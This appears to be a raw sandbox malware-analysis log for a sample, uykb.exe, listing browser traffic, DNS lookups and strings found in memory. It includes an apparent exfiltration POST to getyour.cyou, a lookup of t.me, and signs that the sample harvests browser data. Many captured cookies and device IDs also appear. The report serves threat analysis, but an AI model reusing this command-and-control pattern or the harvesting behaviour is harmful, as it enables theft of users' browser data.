Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQiQys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.d0b81df0decfa0886dfe.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.4sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-full-version: "117.0.2045.55"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; MUIDB=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.8ed343c804e9069b52b4.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.4sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-full-version: "117.0.2045.55"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; MUIDB=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.a01e10d026eb0e3d85f0.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.416deb762b0803a19e78.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/experience.5734d85c965c30638bcf.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /statics/icons/favicon_newtabpage.png HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1738443564565&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=31f15e03b2404dcfac21a960ae4275da&activityId=31f15e03b2404dcfac21a960ae4275da&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1738443564566&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B3EBBCF6B2A66521035AE496A5867C7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1738443564566&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2B3EBBCF6B2A66521035AE496A5867C7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1B9ceb6106bcb00cb5612281738443566; XID=1B9ceb6106bcb00cb5612281738443566
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New+tab&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 10sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-full-version: "117.0.2045.55"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; MUIDB=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=ee7f6a3b-36a7-4ebe-bac7-00315a3211bd; ai_session=tFeTAEgGjuhbfPoAVs0GfI\|1738443564561\|1738443564561; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-edge-ntp: {"back_block":0,"bg_cur":{"configIndex":18,"imageId":"BB1msOP1","provider":"CMSImage","userSelected":false},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"myFeed","show_greet":true,"vt_opened":false,"wpo_nx":{"v":"2","wgt":{"src":"default"}}}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_Auth=; pglt-edgeChromium-dhp=547; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; MUIDB=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=ee7f6a3b-36a7-4ebe-bac7-00315a3211bd; ai_session=tFeTAEgGjuhbfPoAVs0GfI\|1738443564561\|1738443564561; sptmarket_restored=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1738443564565&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=31f15e03b2404dcfac21a960ae4275da&activityId=31f15e03b2404dcfac21a960ae4275da&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FADFB181D3F24DB79D23B475768CF6D1&MUID=2B3EBBCF6B2A66521035AE496A5867C7 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1; SM=T; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D

Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log3.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log3.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log3.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: getyour.cyou
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----sjmgvk6ppph4e37ycjmyUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: getyour.cyouContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: chromecache_447.5.dr	String found in binary or memory: http://www.broofa.com
Source: uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, 2djekn.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_451.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_451.5.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_447.5.dr, chromecache_451.5.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: e40ef767-dbdc-41cc-831a-f1870bc25ebd.tmp.10.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: aac246ce-fdd8-4d81-b954-b2035b954e7c.tmp.9.dr	String found in binary or memory: https://bard.google.com/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: uykb.exe, 00000000.00000002.2661400975.0000000003315000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2662769645.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, d2djec.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.10.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://c.msn.com/
Source: uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, 2djekn.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: offscreendocument_main.js.9.dr, service_worker_bin_prod.js.9.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: uykb.exe, 00000000.00000002.2661823660.00000000035FC000.00000004.00000020.00020000.00000000.sdmp, uykb.exe, 00000000.00000002.2661400975.0000000003364000.00000004.00000020.00020000.00000000.sdmp, Web Data.9.dr, 2djekn.0.dr, l6xtrq.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: e40ef767-dbdc-41cc-831a-f1870bc25ebd.tmp.10.dr	String found in binary or memory: https://clients2.google.com
